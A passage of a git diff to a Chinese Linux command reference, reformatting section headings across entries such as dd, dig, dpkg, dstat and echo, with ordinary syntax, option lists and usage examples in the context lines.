文件：指定要分割的原文件； * 模式：指定要分割文件时的匹配模式。 -### 实例 +### 实例 示例测试文件 server.log diff --git a/command/cu.md b/command/cu.md index 728550727c8..d47503d50a4 100644 --- a/command/cu.md +++ b/command/cu.md @@ -7,14 +7,14 @@ cu **cu命令** 用于连接另一个系统主机。cu(call up)指令可连接另一台主机，并采用类似拨号终端机的接口工作，也可执行简易的文件传输作业。 -### 语法 +### 语法 ```shell cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文件>][-l<外围设备代号>] [-s<连线速率>][-x<排错模式>][-z<系统主机>][--help][-nostop][--parity=none][<系统主机>/<电话号码>] ``` -### 选项 +### 选项 ```shell -a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线。 diff --git a/command/cupsdisable.md b/command/cupsdisable.md index 2ea2e097a59..1ef070825fa 100644 --- a/command/cupsdisable.md +++ b/command/cupsdisable.md @@ -7,13 +7,13 @@ cupsdisable **cupsdisable命令** 用于停止指定的打印机。 -### 语法 +### 语法 ```shell cupsdisable(选项)(参数) ``` -### 选项 +### 选项 ```shell -E：当连接到服务器时强制使用加密； @@ -24,7 +24,7 @@ cupsdisable(选项)(参数) -r：停止打印机的原因。 ``` -### 参数 +### 参数 目标：指定目标打印机。 diff --git a/command/cupsenable.md b/command/cupsenable.md index d1a147a6c8d..5d0cc72936a 100644 --- a/command/cupsenable.md +++ b/command/cupsenable.md @@ -7,13 +7,13 @@ cupsenable **cupsenable命令** 用于启动指定的打印机。 -### 语法 +### 语法 ```shell cupsenable(选项)(参数) ``` -### 选项 +### 选项 ```shell -E：当连接到服务器时强制使用加密； @@ -22,7 +22,7 @@ cupsenable(选项)(参数) -h：指定连接的服务器名和端口号； ``` -### 参数 +### 参数 目标：指定目标打印机。 diff --git a/command/date.md b/command/date.md index f0ee7267bef..53390f477dd 100644 --- a/command/date.md +++ b/command/date.md @@ -9,13 +9,13 @@ date 很多shell脚本里面需要打印不同格式的时间或日期，以及要根据时间和日期执行操作。延时通常用于脚本执行过程中提供一段等待的时间。日期可以以多种格式去打印，也可以使用命令设置固定的格式。在类UNIX系统中，日期被存储为一个整数，其大小为自世界标准时间（UTC）1970年1月1日0时0分0秒起流逝的秒数。 -### 语法 +### 语法 ```shell date(选项)(参数) ``` -### 选项 +### 选项 ```shell -d<字符串>：显示字符串所指的日期与时间。字符串前后必须加上双引号； @@ -25,11 +25,11 @@ date(选项)(参数) --version：显示版本信息。 ``` -### 参数 +### 参数 <+时间日期格式>：指定显示时使用的日期时间格式。 -### 日期格式字符串列表 +### 日期格式字符串列表 ```shell %H # 小时，24小时制（00~23） @@ -64,7 +64,7 @@ date(选项)(参数) %e # 按月计的日期，添加空格，等于%_d ``` -### 实例 +### 实例 格式化输出： diff --git a/command/dd.md b/command/dd.md index aa401f4290c..b9f3b03ecdb 100644 --- a/command/dd.md +++ b/command/dd.md @@ -9,13 +9,13 @@ dd 建议在有需要的时候使用dd 对物理磁盘操作，如果是文件系统的话还是使用tar backup cpio等其他命令更加方便。另外，使用dd对磁盘操作时，最好使用块设备文件。 -### 语法 +### 语法 ```shell dd(选项) ``` -### 选项 +### 选项 ```shell bs=<字节数>：将ibs（输入）与obs（输出）设成指定的字节数； @@ -31,7 +31,7 @@ skip=<区块数>：一开始读取时，跳过指定的区块数； --version：显示版本信息。 ``` -### 实例 +### 实例 ```shell [root@localhost text]# dd if=/dev/zero of=sun.txt bs=1M count=1 diff --git a/command/declare.md b/command/declare.md index 666f01dbfe2..b8910fce67d 100644 --- a/command/declare.md +++ b/command/declare.md @@ -7,13 +7,13 @@ declare **declare命令** 用于声明和显示已存在的shell变量。当不提供变量名参数时显示所有shell变量。declare命令若不带任何参数选项，则会显示所有shell变量及其值。declare的功能与typeset命令的功能是相同的。 -### 语法 +### 语法 ```shell declare(选项)(参数) ``` -### 选项 +### 选项 ```shell +/-："-"可用来指定变量的属性，"+"则是取消变量所设的属性； @@ -23,11 +23,11 @@ x：指定的变量会成为环境变量，可供shell以外的程序来使用 i：[设置值]可以是数值，字符串或运算式。 ``` -### 参数 +### 参数 shell变量：声明shell变量，格式为“变量名=值”。 -### 实例 +### 实例 首先使用declare命令定义shell变量"test"，并且将其值设置为"wangchujiang.com"，输入如下命令： diff --git a/command/depmod.md b/command/depmod.md index 6059fa61c58..a35eadfd19e 100644 --- a/command/depmod.md +++ b/command/depmod.md @@ -7,13 +7,13 @@ depmod **depmod命令** 可产生模块依赖的映射文件，在构建嵌入式系统时，需要由这个命令来生成相应的文件，由modprobe使用。 -### 语法 +### 语法 ```shell depmod(选项) ``` -### 选项 +### 选项 ```shell -a或--all：分析所有可用的模块； @@ -27,7 +27,7 @@ depmod(选项) --help：显示帮助。 ``` -### 实例 +### 实例 ```shell depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a diff --git a/command/df.md b/command/df.md index d21203f17df..7890dd24ce4 100644 --- a/command/df.md +++ b/command/df.md @@ -7,13 +7,13 @@ df **df命令** 用于显示磁盘分区上的可使用的磁盘空间。默认显示单位为KB。可以利用该命令来获取硬盘被占用了多少空间，目前还剩下多少空间等信息。 -### 语法 +### 语法 ```shell df(选项)(参数) ``` -### 选项 +### 选项 ```shell -a或--all：包含全部的文件系统； @@ -34,7 +34,7 @@ df(选项)(参数) --version：显示版本信息。 ``` -### 参数 +### 参数 文件：指定文件系统上的文件。 @@ -44,7 +44,7 @@ df(选项)(参数) SIZE是一个整数和可选单位（例如：10M是10 * 1024 * 1024）。 单位是K，M，G，T，P，E，Z，Y（1024的幂）或KB，MB，...（1000的幂）。 -### 实例 +### 实例 查看系统磁盘设备，默认是KB为单位： diff --git a/command/dhclient.md b/command/dhclient.md index 4799b55678d..7ef352f05df 100644 --- a/command/dhclient.md +++ b/command/dhclient.md @@ -7,13 +7,13 @@ dhclient **dhclient命令** 使用动态主机配置协议动态的配置网络接口的网络参数。 -### 语法 +### 语法 ```shell dhclient(选项)(参数) ``` -### 选项 +### 选项 ```shell 0：指定dhcp客户端监听的端口号； @@ -22,11 +22,11 @@ dhclient(选项)(参数) -r：释放ip地址。 ``` -### 参数 +### 参数 网络接口：操作的网络接口。 -### 实例 +### 实例 ```shell dhclient -r #释放IP diff --git a/command/dhcpd.md b/command/dhcpd.md index 4c2224bba48..dfab818e232 100644 --- a/command/dhcpd.md +++ b/command/dhcpd.md @@ -3,13 +3,13 @@ dhcpd 运行DHCP服务器 -### 语法 +### 语法 ```shell dhcpd [选项] [网络接口] ``` -### 选项 +### 选项 ```shell -p <端口> 指定dhcpd监听的端口 diff --git a/command/dhcrelay.md b/command/dhcrelay.md index 6fecbb03565..bd166660a7c 100644 --- a/command/dhcrelay.md +++ b/command/dhcrelay.md @@ -7,13 +7,13 @@ dhcrelay **dhcrelay命令** 使用dhcrelay命令可以提供中继DHCP和BOOTP请求，从一个没有DHCP服务器的子网直接连接到其它子网内的一个或多个DHCP服务器。该命令在DHCP中继服务器上使用，同时支持DHCPv4/BOOTP和DHCPv6协议。 -### 语法 +### 语法 ```shell dhcrelay [选项] [DHCP服务器] ``` -### 选项 +### 选项 ```shell -c <跳数> 当转发数据包时，dhcrelay丢弃已经达到一个最大跳数的数据包。默认值是10，最大值是255 diff --git a/command/diff.md b/command/diff.md index 4920cfd18c8..abde9c5c3a5 100644 --- a/command/diff.md +++ b/command/diff.md @@ -7,13 +7,13 @@ diff **diff命令** 在最简单的情况下，比较给定的两个文件的不同。如果使用“-”代替“文件”参数，则要比较的内容将来自标准输入。diff命令是以逐行的方式，比较文本文件的异同处。如果该命令指定进行目录的比较，则将会比较该目录中具有相同文件名的文件，而不会对其子目录文件进行任何比较操作。 -### 语法 +### 语法 ```shell diff(选项)(参数) ``` -### 选项 +### 选项 ```shell -<行数>：指定要显示多少行的文本。此参数必须与-c或-u参数一并使用； @@ -52,12 +52,12 @@ diff(选项)(参数) --suppress-common-lines：在使用-y参数时，仅显示不同之处。 ``` -### 参数 +### 参数 * 文件1：指定要比较的第一个文件； * 文件2：指定要比较的第二个文件。 -### 实例 +### 实例 将目录`/usr/li`下的文件"test.txt"与当前目录下的文件"test.txt"进行比较，输入如下命令： diff --git a/command/diff3.md b/command/diff3.md index 1eabd48233f..720aeb56ff6 100644 --- a/command/diff3.md +++ b/command/diff3.md @@ -7,13 +7,13 @@ diff3 **diff3命令** 用于比较3个文件，将3个文件的不同的地方显示到标准输出。 -### 语法 +### 语法 ```shell diff3(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：把所有的文件都当做文本文件按照行为单位进行比较，即给定的文件不是文本文件； @@ -25,7 +25,7 @@ diff3(选项)(参数) --initial-tab：在正常格式的行的文本前，输出一个TAB字符而非两个空白字符。此选项将导致在行中TAB字符的对齐方式看上去规范。 ``` -### 参数 +### 参数 * 文件1：指定要比较的第1个文件； * 文件2：指定要比较的第2个文件； diff --git a/command/diffstat.md b/command/diffstat.md index abc50dd6697..e140864d13e 100644 --- a/command/diffstat.md +++ b/command/diffstat.md @@ -7,13 +7,13 @@ diffstat **diffstat命令** 用来显示diff命令输出信息的柱状图，用以显示diff命令比较两个文件的不同统计信息。用户也可以直接使用`|`将diff命令所输出的结果直接送给diffstat命令进行统计结果的显示。使用该命令时，若所比较的文件或者子目录不在当前目录下，则应该使用其完整路径。 -### 语法 +### 语法 ```shell diffstat(选项)(参数) ``` -### 选项 +### 选项 ```shell -n<文件名长度>：指定文件名长度，指定的长度必须大于或等于所有文件中最长的文件名； @@ -22,11 +22,11 @@ diffstat(选项)(参数) -v：显示版本信息。 ``` -### 参数 +### 参数 文件：指定保存有diff命令的输出信息文件。 -### 实例 +### 实例 将目录"test1"和"test2"下的同名文件"testf.txt"使用diff命令进行比较。然后使用diffstat命令对结果进行统计显示，输入如下命令： diff --git a/command/dig.md b/command/dig.md index 61750c0aee6..705959fab8e 100644 --- a/command/dig.md +++ b/command/dig.md @@ -7,13 +7,13 @@ dig **dig命令** 是常用的域名查询工具，可以用来测试域名系统工作是否正常。 -### 语法 +### 语法 ```shell dig(选项)(参数) ``` -### 选项 +### 选项 ```shell @<服务器地址>：指定进行域名解析的域名服务器； @@ -27,14 +27,14 @@ dig(选项)(参数) -h：显示指令帮助信息。 ``` -### 参数 +### 参数 * 主机：指定要查询域名主机； * 查询类型：指定DNS查询的类型； * 查询类：指定查询DNS的class； * 查询选项：指定查询选项。 -### 实例 +### 实例 ```shell [root@localhost ~]# dig www.jsdig.com diff --git a/command/dircolors.md b/command/dircolors.md index 96611bc3816..e99e667b341 100644 --- a/command/dircolors.md +++ b/command/dircolors.md @@ -7,13 +7,13 @@ dircolors **dircolors命令** 设置ls命令在显示目录或文件时所用的色彩。dircolors可根据[色彩配置文件]来设置LS_COLORS环境变量或是显示设置LS_COLORS环境变量的命令。 -### 语法 +### 语法 ```shell dircolors(选项)(参数) ``` -### 选项 +### 选项 ```shell -b或--sh或--bourne-shell：显示在Boume shell中，将LS_COLORS设为目前预设置的shell指令； @@ -23,11 +23,11 @@ dircolors(选项)(参数) -version：显示版本信息。 ``` -### 参数 +### 参数 文件：指定用来设置颜色的文件。 -### 实例 +### 实例 ```shell [root@localhost ~]# dircolors -p diff --git a/command/dirname.md b/command/dirname.md index f8efd89411f..47106f5ec7c 100644 --- a/command/dirname.md +++ b/command/dirname.md @@ -7,20 +7,20 @@ dirname **dirname命令** 去除文件名中的非目录部分，仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个`/`及其后面的字符，删除其他部分，并写结果到标准输出。如果最后一个`/`后无字符，dirname 命令使用倒数第二个`/`，并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用，以指定一个与指定输入文件名略有差异的输出文件名。 -### 语法 +### 语法 ```shell dirname(选项)(参数) ``` -### 选项 +### 选项 ```shell --help：显示帮助； --version：显示版本号。 ``` -### 实例 +### 实例 ```shell dirname // diff --git a/command/dirs.md b/command/dirs.md index bf08bf5f0ff..dedad7ab79e 100644 --- a/command/dirs.md +++ b/command/dirs.md @@ -7,13 +7,13 @@ dirs **dirs命令** 显示当前目录栈中的所有记录（不带参数的dirs命令显示当前目录栈中的记录）。dirs始终显示当然目录, 再是堆栈中的内容；即使目录堆栈为空, dirs命令仍然只显示当然目录。 -### 语法 +### 语法 ```shell dirs(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：删除目录栈中的所有记录 @@ -24,11 +24,11 @@ dirs(选项)(参数) -N：显示从右到左的第n个日录，数字从0开始 ``` -### 参数 +### 参数 目录：显示目录堆叠中的记录。 -### 实例 +### 实例 ```shell [root@localhost etc]# dirs diff --git a/command/dmesg.md b/command/dmesg.md index 0b24afa3edd..7bbd577a19e 100644 --- a/command/dmesg.md +++ b/command/dmesg.md @@ -7,13 +7,13 @@ dmesg **dmesg命令** 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息，可利用dmesg来查看。开机信息保存在`/var/log/dmesg`文件里。 -### 语法 +### 语法 ```shell dmesg(选项) ``` -### 选项 +### 选项 ```shell -c：显示信息后，清除ring buffer中的内容； @@ -21,7 +21,7 @@ dmesg(选项) -n：设置记录信息的层级。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# dmesg | head diff --git a/command/dmidecode.md b/command/dmidecode.md index 1eaec7c7a65..9aabb4c16a6 100644 --- a/command/dmidecode.md +++ b/command/dmidecode.md @@ -11,13 +11,13 @@ DMI（Desktop Management Interface,DMI）就是帮助收集电脑系统信息的 DMI充当了管理工具和系统层之间接口的角色。它建立了标准的可管理系统更加方便了电脑厂商和用户对系统的了解。DMI的主要组成部分是Management Information Format(MIF)数据库。这个数据库包括了所有有关电脑系统和配件的信息。通过DMI，用户可以获取序列号、电脑厂商、串口信息以及其它系统配件信息。 -### 语法 +### 语法 ```shell dmidecode [选项] ``` -### 选项 +### 选项 ```shell -d：(default:/dev/mem)从设备文件读取信息，输出内容与不加参数标准输出相同。 @@ -114,7 +114,7 @@ dmidecode [选项] * Additional Information * Onboard Device -### 实例 +### 实例 ```shell dmidecode -t 1 # 查看服务器信息 diff --git a/command/dnf.md b/command/dnf.md index adcbb214744..ae592045930 100644 --- a/command/dnf.md +++ b/command/dnf.md @@ -11,7 +11,7 @@ DNF包管理器克服了YUM包管理器的一些瓶颈，提升了包括用户 DNF 的最新稳定发行版版本号是 1.0，发行日期是2015年5月11日。 这一版本的额 DNF 包管理器（包括在他之前的所有版本） 都大部分采用 Python 编写，发行许可为GPL v2. -### 安装 DNF 包管理器 +### 安装 DNF 包管理器 DNF 并未默认安装在 RHEL 或 CentOS 7系统中，但是 Fedora 22 已经默认使用 DNF . @@ -267,7 +267,7 @@ Error: Nothing to do. 原作者注：在执行这条命令的时候， DNF 并没有按照我期望的那样降级指定的软件（“acpid”）。该问题已经上报。 -### 总结 +### 总结 DNF 包管理器作为 YUM 包管理器的升级替代品，它能自动完成更多的操作。但在我看来，正因如此，所以 DNF 包管理器不会太受那些经验老道的 Linux 系统管理者的欢迎。举例如下： diff --git a/command/dnsdomainname.md b/command/dnsdomainname.md index ce15780fe29..301afd2e09a 100644 --- a/command/dnsdomainname.md +++ b/command/dnsdomainname.md @@ -7,19 +7,19 @@ dnsdomainname **dnsdomainname命令** 用于定义DNS系统中FQDN名称中的域名。 -### 语法 +### 语法 ```shell dnsdomainname(选项) ``` -### 选项 +### 选项 ```shell -v：详细信息模式，输出指令执行的详细信息。 ``` -### 实例 +### 实例 ```shell [root@AY1307311912260196fcZ ~]# dnsdomainname -v diff --git a/command/domainname.md b/command/domainname.md index a049411f96a..0c11dc1fdb2 100644 --- a/command/domainname.md +++ b/command/domainname.md @@ -7,24 +7,24 @@ domainname **domainname命令** 用于显示和设置系统的NIS域名。 -### 语法 +### 语法 ```shell domainname(选项)(参数) ``` -### 选项 +### 选项 ```shell -v：详细信息模式； -F：指定读取域名信息的文件。 ``` -### 参数 +### 参数 NIS域名：指定要设置的NIS域名。 -### 实例 +### 实例 ```shell [root@AY1307311912260196fcZ ~]# domainname -v diff --git a/command/dpkg-deb.md b/command/dpkg-deb.md index e1ccfc34488..1e52bba617c 100644 --- a/command/dpkg-deb.md +++ b/command/dpkg-deb.md @@ -7,13 +7,13 @@ Debian Linux下的软件包管理工具 **dpkg-deb命令** 是Debian Linux下的软件包管理工具，它可以对软件包执行打包和解包操作以及提供软件包信息。 -### 语法 +### 语法 ```shell dpkg-deb(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：显示软件包中的文件列表； @@ -27,11 +27,11 @@ dpkg-deb(选项)(参数) -b：创建debian软件包。 ``` -### 参数 +### 参数 文件：指定要操作的“.deb”软件包的全名或软件名。 -### 实例 +### 实例 解压程序文件： diff --git a/command/dpkg-divert.md b/command/dpkg-divert.md index 7c1ab4f46c1..adae5b978c2 100644 --- a/command/dpkg-divert.md +++ b/command/dpkg-divert.md @@ -7,13 +7,13 @@ Debian Linux中创建并管理一个转向列表 **dpkg-divert命令** 是Debian Linux中创建并管理一个转向（diversion）列表，其使得安装文件的默认位置失效的工具。 -### 语法 +### 语法 ```shell dpkg-divert(选项)(参数) ``` -### 选项 +### 选项 ```shell --add：添加一个转移文件； @@ -23,11 +23,11 @@ dpkg-divert(选项)(参数) --quidet：安静模式。 ``` -### 参数 +### 参数 文件：指定转移文件名。 -### 实例 +### 实例 指定软件包wibble安装时，写入`/usr/bin/example.foo`，而不是`/usr/bin/example`： diff --git a/command/dpkg-preconfigure.md b/command/dpkg-preconfigure.md index a566ca1bda4..ba1b43439a2 100644 --- a/command/dpkg-preconfigure.md +++ b/command/dpkg-preconfigure.md @@ -7,13 +7,13 @@ Debian Linux中软件包安装之前询问问题 **dpkg-preconfigure命令** 用于在Debian Linux中软件包安装之前询问问题。 -### 语法 +### 语法 ```shell dpkg-preconfigure(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：选择使用的前端； @@ -21,11 +21,11 @@ dpkg-preconfigure(选项)(参数) --apt：在apt模式下运行。 ``` -### 参数 +### 参数 软件包：指定“.deb”软件包。 -### 实例 +### 实例 导入debconf模板： diff --git a/command/dpkg-query.md b/command/dpkg-query.md index 37134031641..7e106dae4f0 100644 --- a/command/dpkg-query.md +++ b/command/dpkg-query.md @@ -7,13 +7,13 @@ Debian Linux中软件包的查询工具 **dpkg-query命令** 是Debian Linux中软件包的查询工具，它从dpkg软件包数据库中查询并辨识软件包的信息。 -### 语法 +### 语法 ```shell dpkg-query(选项)(参数) ``` -### 选项 +### 选项 ```shell -l：列出符合匹配模式的软件包； @@ -25,11 +25,11 @@ dpkg-query(选项)(参数) -p：显示软件包的细节。 ``` -### 参数 +### 参数 软件包名称：指定需要查询的软件包。 -### 实例 +### 实例 查找文件file1在哪个包里安装： diff --git a/command/dpkg-reconfigure.md b/command/dpkg-reconfigure.md index ed9fd967fd2..3b126c16f07 100644 --- a/command/dpkg-reconfigure.md +++ b/command/dpkg-reconfigure.md @@ -9,13 +9,13 @@ Debian Linux中重新配制一个已经安装的软件包 当用户需要再次对软件包配置的时候，可以使用dpkg-reconfigure命令来对指定的软件包进行配置。 -### 语法 +### 语法 ```shell dpkg-reconfigure(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：重新配置所有的软件包； @@ -28,11 +28,11 @@ dpkg-reconfigure(选项)(参数) --terse：开启简要模式。 ``` -### 参数 +### 参数 软件包名：需要重新配置的已安装的软件包。 -### 实例 +### 实例 用于配置语言： diff --git a/command/dpkg-split.md b/command/dpkg-split.md index 328dcad8763..79097dbaa18 100644 --- a/command/dpkg-split.md +++ b/command/dpkg-split.md @@ -7,13 +7,13 @@ Debian Linux中将大软件包分割成小包 **dpkg-split命令** 用来将Debian Linux中的大软件包分割成小软件包，它还能够将已分割的文件进行合并。 -### 语法 +### 语法 ```shell dpkg-split(选项)(参数) ``` -### 选项 +### 选项 ```shell -S：设置分割后的每个小文件最大尺寸（以字节为单位）； @@ -24,11 +24,11 @@ dpkg-split(选项)(参数) -dscard<文件名>：忽略不匹配的部分。 ``` -### 参数 +### 参数 软件包：指定需要分割的“.deb”软件包。 -### 实例 +### 实例 把foo.deb分割出N个大小为460KB的文件： diff --git a/command/dpkg-statoverride.md b/command/dpkg-statoverride.md index 75f148635e7..b4d5397f140 100644 --- a/command/dpkg-statoverride.md +++ b/command/dpkg-statoverride.md @@ -7,13 +7,13 @@ Debian Linux中覆盖文件的所有权和模式 **dpkg-statoverride命令** 用于Debian Linux中覆盖文件的所有权和模式，让dpkg于包安装时使得文件所有权与模式失效。 -### 语法 +### 语法 ```shell dpkg-statoverride(选项) ``` -### 选项 +### 选项 ```shell -add：为文件添加一个改写； @@ -22,7 +22,7 @@ dpkg-statoverride(选项) --update：如果文件存在，则立刻执行改写操作。 ``` -### 实例 +### 实例 修改文件夹的权限属性： diff --git a/command/dpkg-trigger.md b/command/dpkg-trigger.md index 5f480ad2554..b0249a6643d 100644 --- a/command/dpkg-trigger.md +++ b/command/dpkg-trigger.md @@ -7,13 +7,13 @@ Debian Linux下的软件包触发器 **dpkg-trigger命令** 是Debian Linux下的软件包触发器。 -### 语法 +### 语法 ```shell dpkg-trigger(选项)(参数) ``` -### 选项 +### 选项 ```shell --check-supported：检查运行的dpkg是否支持触发器，返回值为0，则支持触发器。 @@ -23,7 +23,7 @@ dpkg-trigger(选项)(参数) --by-package=<软件包>：覆盖触发器等待者。 ``` -### 参数 +### 参数 触发器名：指定触发器名称。 diff --git a/command/dpkg.md b/command/dpkg.md index f6be8a457fb..4846af5a2f8 100644 --- a/command/dpkg.md +++ b/command/dpkg.md @@ -7,13 +7,13 @@ Debian Linux系统上安装、创建和管理软件包 **dpkg命令** 是Debian Linux系统用来安装、创建和管理软件包的实用工具。 -### 语法 +### 语法 ```shell dpkg(选项)(参数) ``` -### 选项 +### 选项 ```shell -i：安装软件包； @@ -26,11 +26,11 @@ dpkg(选项)(参数) --confiugre：配置软件包。 ``` -### 参数 +### 参数 Deb软件包：指定要操作的.deb软件包。 -### 实例 +### 实例 ```shell dpkg -i package.deb # 安装包 diff --git a/command/dris.md b/command/dris.md index a85e76345e8..429b239b552 100644 --- a/command/dris.md +++ b/command/dris.md @@ -7,13 +7,13 @@ dris **dris命令** 用于显示和清空目录堆栈中的内容。 -### 语法 +### 语法 ```shell dris(选项) ``` -### 选项 +### 选项 ```shell +n：显示从左边算起第n笔的目录； diff --git a/command/dstat.md b/command/dstat.md index 0a54a916d3a..0fe40081549 100644 --- a/command/dstat.md +++ b/command/dstat.md @@ -7,7 +7,7 @@ dstat **dstat命令** 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具，是一个全能系统信息统计工具。与sysstat相比，dstat拥有一个彩色的界面，在手动观察性能状况时，数据比较显眼容易观察；而且dstat支持即时刷新，譬如输入`dstat 3`即每三秒收集一次，但最新的数据都会每秒刷新显示。和sysstat相同的是，dstat也可以收集指定的性能资源，譬如`dstat -c`即显示CPU的使用情况。 -### 下载安装 +### 下载安装 **方法一** @@ -24,7 +24,7 @@ wget http://dag.wieers.com/rpm/packages/dstat/dstat-0.6.7-1.rh7.rf.noarch.rpm rpm -ivh dstat-0.6.7-1.rh7.rf.noarch.rpm ``` -### 使用说明 +### 使用说明 安装完后就可以使用了，dstat非常强大，可以实时的监控cpu、磁盘、网络、IO、内存等使用情况。 @@ -49,13 +49,13 @@ usr sys idl wai hiq siq| read writ| recv send| in out | int csw 其他的都很好理解。 -### 语法 +### 语法 ```shell dstat [-afv] [options..] [delay [count]] ``` -### 常用选项 +### 常用选项 ```shell -c：显示CPU系统占用，用户占用，空闲，等待，中断，软件中断等信息。 @@ -81,7 +81,7 @@ dstat [-afv] [options..] [delay [count]] 当然dstat还有很多更高级的用法，常用的基本这些选项，更高级的用法可以结合man文档。 -### 实例 +### 实例 如想监控swap，process，sockets，filesystem并显示监控的时间： diff --git a/command/dump.md b/command/dump.md index cdbec3dc4f4..425896249c4 100644 --- a/command/dump.md +++ b/command/dump.md @@ -7,13 +7,13 @@ dump **dump命令** 用于备份ext2或者ext3文件系统。可将目录或整个文件系统备份至指定的设备，或备份成一个大文件。 -### 语法 +### 语法 ```shell dump(选项)(参数) ``` -### 选项 +### 选项 ```shell -0123456789：备份的层级； @@ -31,11 +31,11 @@ dump(选项)(参数) -W：显示需要备份的文件及其最后一次备份的层级、时间与日期。 ``` -### 参数 +### 参数 备份源：指定要备份的文件、目录或者文件系统。 -### 实例 +### 实例 将`/home`目录所有内容备份到`/tmp/homeback.bak`文件中，备份层级为`0`并在`/etc/dumpdates`中记录相关信息： diff --git a/command/e2fsck.md b/command/e2fsck.md index e557f5c1c16..8a8415e630d 100644 --- a/command/e2fsck.md +++ b/command/e2fsck.md @@ -17,13 +17,13 @@ e2fsck执行后的传回值及代表意义如下： * 16 使用的语法发生错误。 * 128 共享的函数库发生错误。 -### 语法 +### 语法 ```shell e2fsck(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：不询问使用者意见，便自动修复文件系统； @@ -47,11 +47,11 @@ e2fsck(选项)(参数) -y：采取非互动方式执行，所有的问题均设置以"yes"回答。 ``` -### 参数 +### 参数 文件系统或者分区：指定文件系统或者分区所对应的设备文件名。 -### 实例 +### 实例 检查`/dev/sda1`是否有问题，如发现问题便自动修复： diff --git a/command/e2label.md b/command/e2label.md index 76819d86a7b..2ea83d22fe8 100644 --- a/command/e2label.md +++ b/command/e2label.md @@ -7,18 +7,18 @@ e2label **e2label命令** 用来设置第二扩展文件系统的卷标。 -### 语法 +### 语法 ```shell e2label(参数) ``` -### 参数 +### 参数 * 文件系统：指定文件系统所对应的设备文件名； * 新卷标：为文件系统指定新卷标。 -### 实例 +### 实例 许多用了多年Linux的人可能也没有用过e2label命令。但是这个命令相当有效。在介绍它之前,我们先看看`/etc/fstab文`件： diff --git a/command/echo.md b/command/echo.md index 3d54a3bb166..0c9323c0fe7 100644 --- a/command/echo.md +++ b/command/echo.md @@ -7,13 +7,13 @@ echo **echo命令** 用于在shell中打印shell变量的值，或者直接输出指定的字符串。linux的echo命令，在shell编程中极为常用, 在终端下打印变量value的时候也是常常用到的，因此有必要了解下echo的用法echo命令的功能是在显示器上显示一段文字，一般起到一个提示的作用。 -### 语法 +### 语法 ```shell echo(选项)(参数) ``` -### 选项 +### 选项 ```shell -e：激活转义字符。 @@ -32,11 +32,11 @@ echo(选项)(参数) - `\\` 插入\字符； - `\nnn` 插入 `nnn`（八进制）所代表的ASCII字符； -### 参数 +### 参数 变量：指定要打印的变量。 -### 实例 +### 实例 用echo命令打印带有色彩的文字： diff --git a/command/ed.md b/command/ed.md index 9bc2992cb96..f938ddd95cd 100644 --- a/command/ed.md +++ b/command/ed.md @@ -7,13 +7,13 @@ ed **ed命令** 是单行纯文本编辑器，它有命令模式（command mode）和输入模式（input mode）两种工作模式。ed命令支持多个内置命令，常见内置命令如下： -### 语法 +### 语法 ```shell ed(选项)(参数) ``` -### 选项 +### 选项 ```shell A # 切换到输入模式，在文件的最后一行之后输入新的内容； @@ -33,7 +33,7 @@ q # 退出ed编辑器。 --version：显示版本信息。 ``` -### 参数 +### 参数 文件：待编辑的文件。 diff --git a/command/edquota.md b/command/edquota.md index 552b09cd106..d6fed534f37 100644 --- a/command/edquota.md +++ b/command/edquota.md @@ -7,13 +7,13 @@ edquota **edquota命令** 用于编辑指定用户或工作组磁盘配额。edquota预设会使用vi来编辑使用者或群组的quota设置。 -### 语法 +### 语法 ```shell edquota(选项)(参数) ``` -### 选项 +### 选项 ```shell -u：设置用户的quota，这是预设的参数； @@ -22,11 +22,11 @@ edquota(选项)(参数) -t：设置宽限期限。 ``` -### 参数 +### 参数 用户：指定要编辑磁盘配额限制的用户名或者工作组。 -### 实例 +### 实例 **配置系统的磁盘配额支持** diff --git a/command/egrep.md b/command/egrep.md index 2c289865757..fae32d2a970 100644 --- a/command/egrep.md +++ b/command/egrep.md @@ -7,13 +7,13 @@ egrep **egrep命令** 用于在文件内查找指定的字符串。egrep执行效果与`grep -E`相似，使用的语法及参数可参照grep指令，与grep的不同点在于解读字符串的方法。egrep是用extended regular expression语法来解读的，而grep则用basic regular expression 语法解读，extended regular expression比basic regular expression的表达更规范。 -### 语法 +### 语法 ```shell egrep(选项)(查找模式)(文件名1，文件名2，……) ``` -### 实例 +### 实例 显示文件中符合条件的字符。例如，查找当前目录下所有文件中包含字符串"Linux"的文件，可以使用如下命令： diff --git a/command/eject.md b/command/eject.md index 3ffe7dcfa8f..31ee5150486 100644 --- a/command/eject.md +++ b/command/eject.md @@ -11,13 +11,13 @@ eject允许可移动介质（典型是cd-ROM、软盘、磁带、或者JAZ以及 有四种不同的弹出的方法，具体要看设备是CD-ROM， SCSI设备，可移动软盘，还是磁带而定。默认的弹出会依次尝试所有四种方法，直到成功为止。如果设备当前是挂载上来的，那么在弹出前要先卸载。 -### 语法 +### 语法 ```shell eject(选项)(参数) ``` -### 选项 +### 选项 ```shell -a<开关>或--auto<开关>：控制设备的自动退出功能； @@ -33,7 +33,7 @@ eject(选项)(参数) -v或--verbose：执行时，显示详细的说明。 ``` -### 参数 +### 参数 设备名：指定弹出的设备名称。 diff --git a/command/elinks.md b/command/elinks.md index 4bfccf58a73..fe6e3d5d4d6 100644 --- a/command/elinks.md +++ b/command/elinks.md @@ -7,13 +7,13 @@ elinks **elinks命令** 能实现一个纯文本界面的WWW浏览器，操作方式与“lynx”类似。 -### 语法 +### 语法 ```shell elinks(选项)(参数) ``` -### 选项 +### 选项 ```shell -anonymous：是否使用匿名帐号方式； @@ -24,7 +24,7 @@ elinks(选项)(参数) -h：显示帮助信息。 ``` -### 参数 +### 参数 URL：指定要访问的URL地址。 diff --git a/command/elm.md 